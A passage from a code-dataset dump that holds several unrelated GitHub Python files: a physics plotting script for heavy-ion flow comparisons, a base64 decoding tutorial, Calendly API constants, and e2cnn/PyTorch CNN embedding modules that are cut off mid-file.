SpreadsheetNutritionClient().get_spreadsheet_nutrition_data()","repo_name":"schambersnh/fitness-bot","sub_path":"lambda/spreadsheet_client.py","file_name":"spreadsheet_client.py","file_ext":"py","file_size_in_byte":1552,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"5765636582","text":"#!/usr/bin/env python3\n\nimport re\nfrom glob import glob\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.ticker as ticker\n\n\nresolution = 72.27\ntextwidth = 307.28987/resolution\ntextheight = .85*261.14662/resolution\ntextiny, texsmall, texnormal, texlarge = 5.5, 7., 8., 9.\ncolors = ('#33b5e5','#99cc00','#ff4444','#aa66cc','#ffbb33')\n\nplt.rcParams.update({\n #'font.family': 'CMU Sans Serif',\n 'font.family': 'sans-serif',\n 'font.sans-serif': ['CMU Sans Serif'],\n 'mathtext.fontset': 'custom',\n 'mathtext.rm': 'sans',\n 'mathtext.it': 'sans:italic',\n 'figure.facecolor': '1.0',\n 'font.size': texsmall,\n 'axes.titlesize': texsmall,\n 'axes.labelsize': texsmall,\n 'legend.fontsize': texsmall,\n 'xtick.labelsize': textiny,\n 'ytick.labelsize': textiny,\n 'axes.linewidth': .4,\n 'xtick.major.size': 1.7,\n 'ytick.major.size': 1.7,\n 'xtick.minor.size': 1.2,\n 'ytick.minor.size': 1.2,\n 'axes.color_cycle': colors,\n 'figure.figsize': [textwidth,textheight],\n})\n\n\npath = '../../ebe/results/'\n\ndef loadflowparams(fn):\n ic,vn,cent = re.search(r'flowparams_(glb|kln)_v([0-9])_([0-9]{2}-[0-9]{2}).dat',fn).groups()\n vn = int(vn)\n params = np.loadtxt(fn,unpack=True)\n return ic,vn,cent,params\n\n\ndef allflowparams():\n return (loadflowparams(fn) for fn in\n sorted(glob(path+'fits/flowparams_*_v*_*.dat')))\n\n\ndef loadatlasflowparams():\n from collections import OrderedDict\n\n params = OrderedDict()\n\n with open(path+'exp/atlas/fits/flowparams-all.dat') as f:\n for l in f:\n fields = l.split()\n vn = int(fields[0])\n cent = fields[1]\n p = tuple(map(float,fields[2:]))\n\n for _ in range(2):\n try:\n params[vn][cent] = p\n except KeyError:\n params[vn] = OrderedDict()\n\n return params\n\ndef loaddesign(ic):\n names = (\n 'Normalization',\n {'glb':r'$\\alpha$','kln':r'$\\lambda$'}[ic],\n r'$\\tau_0$',\n r'$\\eta/s$',\n r'$\\tau_\\Pi$'\n )\n\n design = np.loadtxt(path+'design/lhs-design-{}-256.dat'.format(ic),skiprows=1,unpack=True)\n\n return names, design\n\n\n\n#\n# all curves\n#\n\nif False:\n import scipy.special as sp\n\n def rice_pdf(v, vrp, dv, exp=np.exp, i0=sp.i0, n2n=np.nan_to_num):\n dv2 = dv*dv\n return v / dv2 * exp(-0.5*(v*v+vrp*vrp)/dv2) * n2n(i0(v*vrp/dv2))\n\n atlasparams = loadatlasflowparams()\n\n fig,axes = plt.subplots(nrows=2,ncols=2,sharex='col',sharey='row',figsize=(textwidth,textheight))\n\n vn = 2\n\n Xmax = .29\n\n #for ic,row in zip(,axes):\n #dnames, design = loaddesign(ic)\n #for cent,ax in zip(('00-05','40-45'),row):\n for cent,row in zip(('00-05','40-45'),axes):\n for ic,ax in zip(('glb','kln'),row):\n dnames, design = loaddesign(ic)\n\n atlas = atlasparams[vn][cent][:2]\n\n X = np.linspace(1e-6,Xmax,300)\n Y = rice_pdf(X,*atlas)\n\n params = np.loadtxt(path+'fits/flowparams_{}_v{}_{}.dat'.format(ic,vn,cent),usecols=(0,1))\n for p in params:\n ax.plot(X,rice_pdf(X,*p),lw=.2,alpha=.3)\n\n ax.plot(X,Y,'k',lw=.8)\n\n ax.set_xlim(0,Xmax)\n\n if ax.is_first_col():\n ax.set_ylabel('$P(v_{})$'.format(vn))\n if ax.is_last_row():\n ax.set_xlabel('$v_{}$'.format(vn))\n ax.set_ylim(0,17)\n else:\n ax.set_ylim(0,36)\n\n ax.xaxis.set_minor_locator(ticker.AutoMinorLocator(2))\n ax.yaxis.set_minor_locator(ticker.AutoMinorLocator(2))\n\n ax.annotate(\n '{} $v_{}$ {}%'.format('Glauber' if ic=='glb' else 'KLN',vn,cent.replace('-','–')),\n (.95,.93), xycoords='axes fraction', va='top', ha='right', size=texnormal)\n\n if ax.is_first_col() and ax.is_first_row():\n ax.annotate(\n 'thick black line = ATLAS\\nthin colored lines = model',\n (.95,.70), xycoords='axes fraction', va='top', ha='right', size=texnormal)\n\n #plt.title('{} $v_{}$ {}%'.format(ic,vn,cent).replace('-','–'))\n \n plt.tight_layout(pad=0)\n\n plt.savefig('allcurves.pdf')\n\n\n#\n# preferred eta/s\n#\n\nif False:\n\n bestN = 10\n\n avn,acent,*aparams = np.loadtxt(path+'exp/atlas/fits/flowparams-5.dat',\n dtype='i1,S5,f8,f8,f8,f8,f8', unpack=True)\n amean = aparams[2]\n\n acent = acent.astype(str)\n cents = np.unique(acent).tolist()[:11]\n centidx = np.arange(len(cents))\n\n\n dnames,design = loaddesign('glb')\n etas = design[3]\n\n fig,axes = plt.subplots(figsize=(textwidth,0.8*textheight),ncols=2,sharey=True)\n\n for ax,ic,title in zip(axes,('glb','kln'),('Glauber','KLN')):\n\n data = {}\n\n for _ic,vn,cent,params in allflowparams():\n if _ic != ic:\n continue\n\n mean = params[2]\n a = amean[(avn == vn) & (acent == cent)]\n order = np.abs(mean - a).argsort()\n best = order[:bestN]\n\n for _ in range(2):\n try:\n data[vn].append([cents.index(cent),etas[best]])\n except KeyError:\n data[vn] = []\n else:\n break\n\n\n for vn,xy in data.items():\n xy12 = []\n for x,y in xy:\n #xy12.append([x+.15*(vn-3),y.mean(),y.min(),y.max()])\n xy12.append([x+.20*(vn-3),y.mean(),y.std()])\n\n #X,Y,Ymin,Ymax = np.array(xy12).T\n X,Y,Yerr = np.array(xy12).T\n\n #plt.errorbar(X,Y,yerr=(Y-Ymin,Ymax-Y),\n ax.errorbar(X,Y,yerr=Yerr,\n fmt='-o',ms=3,capsize=2,label='$v_{}$'.format(vn),zorder=10-2*vn)\n\n ax.axhline(.08 if ic == 'glb' else .2,c='k',ls='--',lw=.6)\n\n if ax.is_first_col():\n ax.set_ylabel(r'Preferred $\\eta/s$')\n #ax.legend(loc='upper center',bbox_to_anchor=(.40,1),ncol=3)\n ax.legend(loc='upper right',ncol=3).get_frame().set_lw(.4)\n\n ax.set_xlabel('Centrality')\n ax.set_xlim(centidx.min()-.5,centidx.max()+.5)\n ax.set_xticks(centidx)\n ax.set_xticklabels(cents, rotation=50)\n\n\n ax.set_ylim(0,.3)\n ax.yaxis.set_minor_locator(ticker.AutoMinorLocator(2))\n\n #if ax.is_first_row():\n # ax.annotate(title,(.95,.93),xycoords='axes fraction',ha='right',va='top')\n #else:\n # ax.annotate(title,(.95,.07),xycoords='axes fraction',ha='right',va='bottom')\n ax.set_title(title,size=texnormal)\n\n plt.tight_layout(pad=.1)\n plt.savefig('preferredeta.pdf')\n plt.close()\n\n\n#\n# best \n#\n\nif False:\n avn,acent,*aparams = np.loadtxt(path+'exp/atlas/fits/flowparams-5.dat',\n dtype='i1,S5,f8,f8,f8,f8,f8', unpack=True)\n amean = aparams[2]\n\n acent = acent.astype(str)\n cents = np.unique(acent).tolist()\n centidx = np.arange(len(cents))\n\n\n allflows = tuple(allflowparams())\n\n\n #ic = 'glb'\n\n fig,axes = plt.subplots(figsize=(.6*textwidth,.97*textheight),nrows=2,sharex='col')\n\n for ax,ic,title in zip(axes,('glb','kln'),('Glauber','KLN')):\n\n diff = np.zeros_like(allflows[0][-1][0])\n for _ic,vn,cent,params in allflows:\n if _ic != ic:\n continue\n\n mean = params[2]\n a = amean[(avn == vn) & (acent == cent)]\n diff += np.abs(mean - a)\n\n best = diff.argmin()\n\n\n #plt.figure(figsize=(textwidth,.7*textwidth))\n\n for vn in np.unique(avn):\n ax.plot(amean[avn == vn],'k-o',ms=3,label='ATLAS' if vn == 2 and ax.is_first_row() else '')\n\n data = []\n for _ic,_vn,cent,params in allflows:\n if _vn != vn or _ic != ic:\n continue\n mean = params[2]\n data.append([cents.index(cent),mean[best]])\n X,Y = np.array(data).T\n\n ax.plot(X,Y,'-o',label='$v_{}$'.format(vn),ms=3)\n\n dnames,design = loaddesign(ic)\n #ax.annotate(title,(.05,.93),xycoords='axes fraction',ha='left',va='top',size=texnormal)\n ax.annotate(r'{} $\\eta/s = {:.2f}$'.format(title,design[3][best]),\n (.05,.93),xycoords='axes fraction',ha='left',va='top',size=texnormal)\n\n if ax.is_first_row():\n leg = ax.legend(loc='right',ncol=2,bbox_to_anchor=(1,.50))\n leg.get_frame().set_lw(.4)\n else:\n ax.set_xlabel('Centrality')\n ax.set_xlim(centidx.min()-.5,centidx.max()+.5)\n ax.set_xticks(centidx)\n ax.set_xticklabels(cents, rotation=50)\n\n\n ax.set_ylim(0,.145)\n ax.set_ylabel(r'$\\langle v_n \\rangle$')\n ax.yaxis.set_minor_locator(ticker.AutoMinorLocator(2))\n\n #dnames,design = loaddesign(ic)\n #plt.annotate('design point: '+str(best),(.6,.73),xycoords='axes fraction',ha='left',va='bottom')\n #plt.annotate('\\n'.join(('{} = {:.3f}'.format(i,j) for i,j in zip(dnames,design.T[best]))),\n # (.6,.7),\n # xycoords='axes fraction',ha='left',va='top')\n\n #plt.figlegend((hmodel,htrend,hatlas),('model','trend','ATLAS'),'upper right',ncol=3,frameon=False)\n\n plt.tight_layout(pad=0,w_pad=.3)\n plt.savefig('bestavg.pdf')\n plt.close()\n\n#\n# parameter scatter plots\n#\n\nif False:\n from scipy.interpolate import UnivariateSpline\n\n vn = 2\n cent = '20-25'\n\n with open(path+'exp/atlas/fits/flowparams-all.dat') as f:\n for l in f:\n fields = l.split()\n\n if fields[0] == str(vn) and fields[1] == cent:\n atlas = tuple(map(float,fields[2:]))\n break\n\n #for ic in 'glb','kln':\n for ic in 'glb',:\n dnames,design = loaddesign(ic)\n\n params = np.loadtxt(path+'fits/flowparams_{}_v{}_{}.dat'.format(ic,vn,cent),unpack=True)\n\n labels = (s.format(vn) for s in (\n r'$v_{}^\\mathrm{{RP}}$',\n r'$\\delta_{{v_{}}}$',\n r'$\\langle v_{} \\rangle$',\n r'$\\sigma_{{v_{}}}$',\n r'$\\sigma_{{v_{0}}} / \\langle v_{0} \\rangle$',\n ))\n\n fig,axes = plt.subplots(nrows=len(params), ncols=len(design),\n figsize=(textwidth,textheight),\n sharex='col',sharey='row')\n\n for row,y,ylabel,a in zip(axes,params,labels,atlas):\n for ax,x,xlabel in zip(row,design,dnames):\n hmodel = ax.scatter(x,y,s=3,c=colors[0],linewidths=.3)\n\n spline = UnivariateSpline(x,y)\n X = np.linspace(x.min(),x.max(),100)\n htrend, = ax.plot(X,spline(X),'k')\n\n hatlas = ax.axhline(a,c=colors[2])\n\n dx = .07*(x.max()-x.min())\n dy = .07*(y.max()-y.min())\n ax.set_xlim(x.min()-dx,x.max()+dx)\n ax.set_ylim(y.min()-dy,y.max()+dy)\n\n if ax.is_last_row():\n ax.set_xlabel(xlabel)\n ax.xaxis.set_major_locator(ticker.MaxNLocator(3))\n if ax.is_first_col():\n ax.set_ylabel(ylabel)\n ax.yaxis.set_major_locator(ticker.MaxNLocator(3))\n\n fig.suptitle('{} $v_{}$ {}%'.format('Glauber' if ic=='glb' else 'KLN',vn,cent.replace('-','–')),x=.30,y=.975)\n leg = plt.figlegend((hmodel,htrend,hatlas),('model','trend','ATLAS'),'upper right',ncol=3)\n leg.get_frame().set_lw(.4)\n\n fig.tight_layout(pad=0)\n fig.subplots_adjust(hspace=0,wspace=0,top=.93)\n\n plt.savefig('scatters-{}.pdf'.format(ic))\n plt.close()\n\n\n\n#\n# IC/hydro profiles\n#\n\nif False:\n from matplotlib import cm, gridspec\n\n ic = 'glb'\n\n plt.figure(figsize=(1.01*textwidth/3,textwidth/3))\n plt.axes((lambda x,y: [x,y,1-x,1-y])(.20,.20))\n\n Z = np.loadtxt(ic+'.dat').T\n Z[Z < 1.] = np.nan\n im = plt.imshow(Z,cmap=cm.hot,extent=(-13,13,-13,13))\n\n #clb = plt.colorbar(im,ticks=[],shrink=.82)\n #clb.set_label('Entropy density [arb. units]')\n\n plt.xlabel('$x$ [fm]',labelpad=3)\n plt.ylabel('$y$ [fm]',labelpad=-1)\n\n plt.gca().xaxis.set_minor_locator(ticker.AutoMinorLocator(2))\n plt.gca().yaxis.set_minor_locator(ticker.AutoMinorLocator(2))\n\n #plt.tight_layout(pad=0,rect=(-.02,-.05,1,1.05))\n\n plt.savefig(ic+'.pdf')\n\n\nif False:\n from matplotlib import cm, gridspec\n\n ic = 'glb'\n\n fig = plt.figure(figsize=(textwidth,1/3*textwidth))\n\n #gs = gridspec.GridSpec(1,2,width_ratios=(.80,1))\n #axes = tuple(map(plt.subplot,gs))\n\n plt.axes([.053,.2,.3,.8])\n\n Z = np.loadtxt(ic+'.dat').T\n Z[Z < 1.] = np.nan\n im = plt.imshow(Z,cmap=cm.hot,extent=(-13,13,-13,13))\n\n #clb = plt.colorbar(im,ticks=[],shrink=.82)\n #clb.set_label('Entropy density [arb. units]')\n\n plt.xlabel('$x$ [fm]',labelpad=3)\n plt.ylabel('$y$ [fm]',labelpad=-1)\n\n plt.gca().xaxis.set_minor_locator(ticker.AutoMinorLocator(2))\n plt.gca().yaxis.set_minor_locator(ticker.AutoMinorLocator(2))\n\n #ax = axes[0]\n ax = plt.axes([.338,.2,.3,.8])\n\n Z = np.loadtxt('hydro0.dat',usecols=[2]).reshape((261,261))*1000.\n Z = Z.T\n Z[Z < 1.] = np.nan\n im = ax.imshow(Z,cmap=cm.coolwarm,extent=(-13,13,-13,13))\n\n ax.set_yticklabels([])\n ax.set_xlabel('$x$ [fm]',labelpad=3)\n ax.xaxis.set_minor_locator(ticker.AutoMinorLocator(2))\n ax.yaxis.set_minor_locator(ticker.AutoMinorLocator(2))\n\n\n #ax = axes[1]\n ax = plt.axes([.568,.2,.4,.8])\n\n Z = np.loadtxt('hydro1.dat',usecols=[2]).reshape((261,261))*1000.\n Z = Z.T\n Z[Z < 1.] = np.nan\n im = ax.imshow(Z,cmap=cm.coolwarm,extent=(-13,13,-13,13))\n\n clb = fig.colorbar(im,ax=ax,ticks=range(0,161,40),shrink=1)\n clb.set_label('Temperature [MeV]')\n clb.ax.yaxis.set_minor_locator(ticker.AutoMinorLocator(2))\n\n ax.set_yticklabels([])\n\n #for ax in axes:\n ax.set_xlabel('$x$ [fm]',labelpad=3)\n ax.xaxis.set_minor_locator(ticker.AutoMinorLocator(2))\n ax.yaxis.set_minor_locator(ticker.AutoMinorLocator(2))\n # ax.set_xlim(-14,14)\n # ax.set_ylim(-14,14)\n\n\n\n #plt.subplots_adjust(bottom=.1,top=.9)\n #plt.tight_layout(pad=.5,w_pad=0,h_pad=0)\n\n plt.savefig('hydro.pdf')\n\n\nif False:\n from matplotlib import cm, gridspec\n\n ic = 'glb'\n\n #fig = plt.figure(figsize=(textwidth,.8*textwidth))\n #fig,axes = plt.subplots(figsize=(textwidth,.30*textwidth),ncols=3,sharey='row')\n fig = plt.figure(figsize=(textwidth,.33*textwidth))\n\n gs = gridspec.GridSpec(1,3,width_ratios=(1,.80,1))\n axes = tuple(map(plt.subplot,gs))\n #ax0 = plt.subplot(gs[0])\n #axes = (ax0,plt.subplot(gs[1],sharey=ax0),plt.subplot(gs[2],sharey=ax0))\n #axes.append()\n #axes.append(plt.subplot(gs[0],sharey=ax0))\n\n # initial condition\n ax = axes[0]\n\n Z = np.loadtxt(ic+'.dat')\n Z[Z < 1.] = np.nan\n im = ax.imshow(Z,cmap=cm.hot,extent=(-13,13,-13,13))\n\n #fig.colorbar(im,ax=ax,label='Entropy density [arbitrary units]',ticks=[])\n clb = fig.colorbar(im,ax=ax,ticks=[],shrink=.82)\n #clb = fig.colorbar(im,cax=axes[1],ticks=[])\n clb.set_label('Entropy density [arb. units]')\n\n ax.set_title('Initial condition')\n\n ax.set_ylabel('$y$ [fm]')\n #ax.xaxis.set_minor_locator(ticker.AutoMinorLocator(2))\n #ax.yaxis.set_minor_locator(ticker.AutoMinorLocator(2))\n\n # hydro eta/s = 0\n ax = axes[1]\n #ax = axes[2]\n\n Z = np.loadtxt('hydro0.dat',usecols=[2]).reshape((261,261))*1000.\n Z[Z < 1.] = np.nan\n im = ax.imshow(Z,cmap=cm.coolwarm,extent=(-13,13,-13,13))\n\n ax.set_title(r'hydro $\\eta/s = 0.04$')\n ax.set_yticklabels([])\n\n #ax.set_xlim(-7.5,7.5)\n #ax.set_ylim(-7.5,7.5)\n\n # hydro eta/s = 0.16\n ax = axes[2]\n #ax = axes[3]\n\n Z = np.loadtxt('hydro1.dat',usecols=[2]).reshape((261,261))*1000.\n Z[Z < 1.] = np.nan\n im = ax.imshow(Z,cmap=cm.coolwarm,extent=(-13,13,-13,13))\n\n clb = fig.colorbar(im,ax=ax,ticks=range(0,161,40),shrink=.82)\n #clb = fig.colorbar(im,cax=axes[4],ticks=range(0,161,40))\n clb.set_label('Temperature [MeV]')\n clb.ax.yaxis.set_minor_locator(ticker.AutoMinorLocator(2))\n\n ax.set_title(r'hydro $\\eta/s = 0.24$')\n ax.set_yticklabels([])\n\n #ax.set_xlim(-7.5,7.5)\n #ax.set_ylim(-7.5,7.5)\n\n for ax in axes:\n ax.set_xlabel('$x$ [fm]')\n ax.xaxis.set_minor_locator(ticker.AutoMinorLocator(2))\n ax.yaxis.set_minor_locator(ticker.AutoMinorLocator(2))\n # ax.set_xlim(-14,14)\n # ax.set_ylim(-14,14)\n\n\n\n #plt.subplots_adjust(bottom=.1,top=.9)\n plt.tight_layout(pad=0)#,w_pad=0,h_pad=0)\n\n plt.savefig(ic+'-hydro.pdf')\n plt.close()\n\n\n\n#\n# toy Glauber\n#\n\nif False:\n from numpy.random import random\n\n A = 208\n #A = 100\n rmax = 15\n a = 1.\n r0 = 1.25\n R = r0*A**.3333\n\n #b = 8\n for b in (0,8):\n\n N1 = np.empty((A,2))\n N2 = np.empty((A,2))\n\n for k,N in ((-1,N1),(1,N2)):\n for i in range(A):\n while True:\n r = rmax*random()\n if random() < 1/(1 + np.exp(r-R/a)):\n phi = 2*np.pi*random()\n N[i] = [k*b/2 + r*np.cos(phi),r*np.sin(phi)]\n break\n else:\n continue\n\n import itertools\n BC = []\n for n1,n2 in itertools.product(N1,N2):\n if np.sum(np.square(n1-n2)) < 1.:\n BC.append(np.mean([n1,n2],axis=0))\n BC = np.array(BC)\n\n fig = plt.figure(figsize=(textwidth/3,textwidth/3),frameon=False)\n ax = fig.add_axes([0,0,1,1])\n ax.axis('off')\n\n ax.scatter(*N1.T,s=30,facecolors='none',edgecolors=colors[0],linewidths=.6,label='Nucleus 1')\n ax.scatter(*N2.T,s=30,facecolors='none',edgecolors=colors[1],linewidths=.6,label='Nucleus 2')\n ax.scatter(*BC.T,s=30,facecolors=colors[2],alpha=.5,linewidths=.4,label='Overlap')\n\n plt.xlim(-rmax,rmax)\n plt.ylim(-rmax,rmax)\n #plt.gca().xaxis.set_minor_locator(ticker.AutoMinorLocator(2))\n #plt.gca().yaxis.set_minor_locator(ticker.AutoMinorLocator(2))\n\n #plt.xlabel('x [fm]')\n #plt.ylabel('y [fm]')\n #plt.title('$b = {}$ fm'.format(b))\n #plt.legend()\n\n #plt.tight_layout(pad=0)\n plt.savefig('toyglauber{}.pdf'.format(b))\n\n\n#\n# LHS\n#\n\nif False:\n import io\n\n x1,x2 = np.loadtxt(io.StringIO( \"\"\"\n 0.42822634417098 0.388032464543357\n 0.0505391324986704 0.643827478808817\n 0.925781215541065 0.930126322433352\n 0.567627242649905 0.0458342873607762\n \"\"\"), unpack=True)\n\n x3,x4 = np.loadtxt(io.StringIO( \"\"\"\n 0.467693515337305 0.416897835751297\n 0.811550274310866 0.887674003874417\n 0.134896172577282 0.281725546065718\n 0.267213938158238 0.788450275320793\n 0.119147670204984 0.14299195408239\n 0.420533414883539 0.548948839178774\n 0.661207941290922 0.675455083075212\n 0.645005048101302 0.449090315663489\n 0.595322484802455 0.207589823781746\n 0.335605888802093 0.854251757776365\n 0.889827489800518 0.586786111368565\n 0.484148854773957 0.802034507854842\n 0.296338533825474 0.617782153387088\n 0.835916681273375 0.394606126128929\n 0.780648298666347 0.198461579694413\n 0.689335947699146 0.0508677422243636\n 0.742244255490368 0.969069675717037\n 0.0505514958931599 0.373340009583626\n 0.0944041407201439 0.0113130449783057\n 0.912365568743553 0.26434143926017\n 0.547827016550582 0.652481837617233\n 0.241147826868109 0.23083459212794\n 0.425271303381305 0.92553154064808\n 0.15695037539117 0.645144444721518\n 0.770222741126781 0.562770926463418\n 0.399981403892161 0.325445039471379\n 0.304257830092683 0.0374131604155991\n 0.868277710827533 0.754888813971775\n 0.0164965114905499 0.721470291883452\n 0.360886075830786 0.739259034156566\n 0.707556788570946 0.312581436958862\n 0.603360302228248 0.826944183651358\n 0.203156583954114 0.469311968213879\n 0.960078882222297 0.481454085197765\n 0.500592260801932 0.123469021456549\n 0.571802014403511 0.512846936099231\n 0.187819873809349 0.916014516277937\n 0.984916324150981 0.0860356904217042\n 0.0454414102481678 0.15946246702224\n 0.946790276549291 0.982403350580716\n \"\"\"), unpack=True)\n\n\n fig,axes = plt.subplots(ncols=2,sharey='row',figsize=(.8*textwidth,.43*textwidth))\n\n axes[0].plot(x1,x2,'o',ms=5)\n axes[0].set_title('4 points')\n axes[0].set_ylabel('$y$')\n axes[0].set_xticks([0,.25,.5,.75,1])\n\n axes[1].plot(x3,x4,'o',ms=2.5)\n axes[1].set_title('40 points')\n axes[1].set_xticks([.25,.5,.75,1])\n\n for ax in axes:\n ax.grid(ls=':',lw=.5)\n ax.set_yticks([.25,.5,.75,1])\n ax.set_xlabel('$x$')\n\n plt.tight_layout(pad=.1,w_pad=.5)\n plt.savefig('lhs.pdf')\n plt.close()\n\n\n\nif True:\n from numpy.linalg import lstsq\n\n ic = 'glb'\n vn = 2\n cent = '20-25'\n\n dnames, design = loaddesign(ic)\n dnames = list(dnames)\n dnames[0] = 'Norm'\n design = design.T\n\n avg = np.loadtxt(path+'fits/flowparams_{}_v{}_{}.dat'.format(ic,vn,cent),usecols=(2,))\n sort = avg.argsort()\n\n x = lstsq(design,avg)[0]\n\n plt.plot(np.sum(design[sort]*x,axis=1),avg[sort],'o',ms=3)\n\n xlabel = ('' if x[0] > 0 else '-') + '{:.3f}{}'.format(abs(x[0]),dnames[0])\n for a,b in zip(x[1:],dnames[1:]):\n xlabel += (' + ' if a>0 else ' - ') + '{:.3f}{}'.format(abs(a),b)\n #plt.xlabel(' '.join('{:+4.2f}{}'.format(a,b) for a,b in zip(x,dnames)))\n plt.xlabel(xlabel)\n plt.ylabel(r'$\\langle v_{} \\rangle$'.format(vn))\n\n plt.xlim(0,.13)\n plt.ylim(0,.12)\n \n plt.gca().xaxis.set_minor_locator(ticker.AutoMinorLocator(2))\n plt.gca().yaxis.set_minor_locator(ticker.AutoMinorLocator(2))\n\n plt.annotate(\n r'$R^2 \\sim\\ 0.97$',\n (.05,.93), xycoords='axes fraction', va='top', ha='left', size=texnormal)\n\n plt.title('{} $v_{}$ {}%'.format('Glauber' if ic=='glb' else 'KLN',vn,cent.replace('-','–')))\n\n plt.tight_layout(pad=0)\n\n plt.savefig('linear.pdf')\n","repo_name":"jbernhard/old-qcd-docs","sub_path":"prelim/talk/fig/plots.py","file_name":"plots.py","file_ext":"py","file_size_in_byte":22161,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"13490280931","text":"import base64\n\n# decode\nstring_as_base64 = b'UHl0aG9uIGlzIGF3ZXNvbWU='\n\n\nstring_as_binary = base64.b64decode(string_as_base64)\nprint(string_as_binary) #bunu stringe çevirmemiz gerekir, şu an bytearray\n# b'Python is awesome'\n\nstring = string_as_binary.decode(\"utf-8\")\nprint(string) # Python is awesome\n\n\n##########################\n# sayıları decoding yapma\n\nnumber_as_base64 = b'cyTMWZzG'\n# number = 218374823748723, aradığımız sayı\n\nnumber_as_bytes = base64.b64decode(number_as_base64)\nprint(\"Sayımızın byte'ları : \", number_as_bytes)\n# Sayımızın byte'ları : b's$\\xccY\\x9c\\xc6'\n\nnumber = int.from_bytes(number_as_bytes, byteorder=\"little\")\nprint(number) # 218374823748723","repo_name":"AydinTokuslu/PythonTutorial","sub_path":"Ders_Konulari/base64_decoding.py","file_name":"base64_decoding.py","file_ext":"py","file_size_in_byte":692,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"10159321124","text":"CALENDLY_API_PATH = {\n \"single_use_scheduling_link\": \"/scheduling_links\"\n}\n\nCALENDLY_WEBHOOK_PATH = \"/webhook_subscriptions\"\nCALENDLY_WEBHOOK_EVENTS = [\"invitee.canceled\", \"invitee.created\"]\nCALENDLY_WEBHOOK_SIGNATURE_KEY = \"Calendly-Webhook-Signature\"\n\nCALENDLY_USERS_URL_PATH = \"{}/users/{}\"\nCALENDLY_EVENT_TYPE_URL_PATH = \"{}/event_types/{}\"\nCALENDLY_EVENT_URL_PATH = \"{}/scheduled_events/{}\"\nCALENDLY_INVITEE_URL_PATH = \"{}/scheduled_events/{}/invitees/{}\"\n\nCALENDLY_SIGNATURE_TKEY = \"t\"\nCALENDLY_SIGNATURE_VKEY = \"v1\"\nCALENDLY_EVENT_TOLERANCE_TIME = 300000 # in milliseconds\n","repo_name":"KeelTech/BackendApp","sub_path":"keel/calendly/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":584,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"} +{"seq_id":"4204594709","text":"import e2cnn.nn as e2nn\nimport torch.nn as nn\nfrom e2cnn import gspaces\n\nfrom sen import utils\n\n\nclass CubesEmbedding(nn.Module):\n def __init__(\n self,\n input_dim,\n hidden_dim,\n output_dim,\n act_fn=\"sigmoid\",\n act_fn_hid=\"relu\",\n ):\n super().__init__()\n self.input_dim = input_dim\n self.hidden_dim = hidden_dim\n self.output_dim = output_dim\n\n self.cnn1 = nn.Conv2d(input_dim, hidden_dim, 3, padding=1)\n self.act1 = utils.get_act_fn(act_fn_hid)\n self.ln1 = nn.BatchNorm2d(hidden_dim)\n\n self.cnn2 = nn.Conv2d(hidden_dim, hidden_dim, 3, padding=1)\n self.act2 = utils.get_act_fn(act_fn_hid)\n self.ln2 = nn.BatchNorm2d(hidden_dim)\n\n self.cnn3 = nn.Conv2d(hidden_dim, hidden_dim, 3, padding=1)\n self.act3 = utils.get_act_fn(act_fn_hid)\n self.ln3 = nn.BatchNorm2d(hidden_dim)\n\n self.cnn4 = nn.Conv2d(hidden_dim, output_dim, 3, padding=1)\n self.act4 = utils.get_act_fn(act_fn)\n\n def forward(self, obs):\n h = self.act1(self.ln1(self.cnn1(obs)))\n h = self.act2(self.ln2(self.cnn2(h)))\n h = self.act3(self.ln3(self.cnn3(h)))\n return self.act4(self.cnn4(h))\n\n\nclass CubesEmbedding_E2(nn.Module):\n def __init__(\n self, input_dim, hidden_dim, output_dim, group_order, out_feat_type=\"trivial\"\n ):\n super().__init__()\n self.input_dim = input_dim\n self.hidden_dim = hidden_dim\n self.output_dim = output_dim\n\n self.r2_act = gspaces.Rot2dOnR2(N=group_order)\n\n self.feat_type_in = e2nn.FieldType(\n self.r2_act, input_dim * [self.r2_act.trivial_repr]\n )\n self.feat_type_hid = e2nn.FieldType(\n self.r2_act, hidden_dim * [self.r2_act.regular_repr]\n )\n self.out_feat_type = out_feat_type\n if out_feat_type == \"trivial\":\n self.feat_type_out = e2nn.FieldType(\n self.r2_act, output_dim * [self.r2_act.trivial_repr]\n )\n elif out_feat_type == \"regular\":\n self.feat_type_out = e2nn.FieldType(\n self.r2_act, output_dim * [self.r2_act.regular_repr]\n )\n else:\n raise NotImplementedError\n\n self.net = e2nn.SequentialModule(\n e2nn.R2Conv(self.feat_type_in, self.feat_type_hid, 3, padding=1),\n e2nn.InnerBatchNorm(self.feat_type_hid),\n e2nn.ReLU(self.feat_type_hid),\n e2nn.R2Conv(self.feat_type_hid, self.feat_type_hid, 3, padding=1),\n e2nn.InnerBatchNorm(self.feat_type_hid),\n e2nn.ReLU(self.feat_type_hid),\n e2nn.R2Conv(self.feat_type_hid, self.feat_type_hid, 3, padding=1),\n e2nn.InnerBatchNorm(self.feat_type_hid),\n e2nn.ReLU(self.feat_type_hid),\n e2nn.R2Conv(self.feat_type_hid, self.feat_type_out, 3, padding=1),\n e2nn.PointwiseNonLinearity(self.feat_type_out, function=\"p_sigmoid\"),\n )\n\n # [B, O*4, 50, 50] -> [B, O, 4, 50, 50]\n self.last = nn.Unflatten(1, (-1, group_order))\n\n def forward(self, x):\n x = e2nn.GeometricTensor(x, self.feat_type_in)\n x = self.net(x)\n if self.out_feat_type == \"regular\":\n x = self.last(x.tensor)\n else:\n x = x.tensor\n\n return x\n\n\nclass ReacherEmbedding(nn.Module):\n def __init__(\n self,\n input_dim,\n output_dim,\n hidden_dim=[16, 16, 16, 16, 16, 16],\n act_fn_hid=\"relu\",\n ):\n super().__init__()\n self.input_dim = input_dim\n assert len(hidden_dim) == 6, \"len(hidden_dim) must equal 6\"\n self.hidden_dim = hidden_dim\n self.output_dim = output_dim\n\n self.net = nn.Sequential(\n nn.Conv2d(input_dim, hidden_dim[0], 3, stride=2, dilation=1, padding=1),\n nn.BatchNorm2d(hidden_dim[0]),\n utils.get_act_fn(act_fn_hid),\n nn.Conv2d(hidden_dim[0], hidden_dim[1], 3, stride=1, dilation=2, padding=2),\n nn.BatchNorm2d(hidden_dim[1]),\n utils.get_act_fn(act_fn_hid),\n nn.Conv2d(hidden_dim[1], 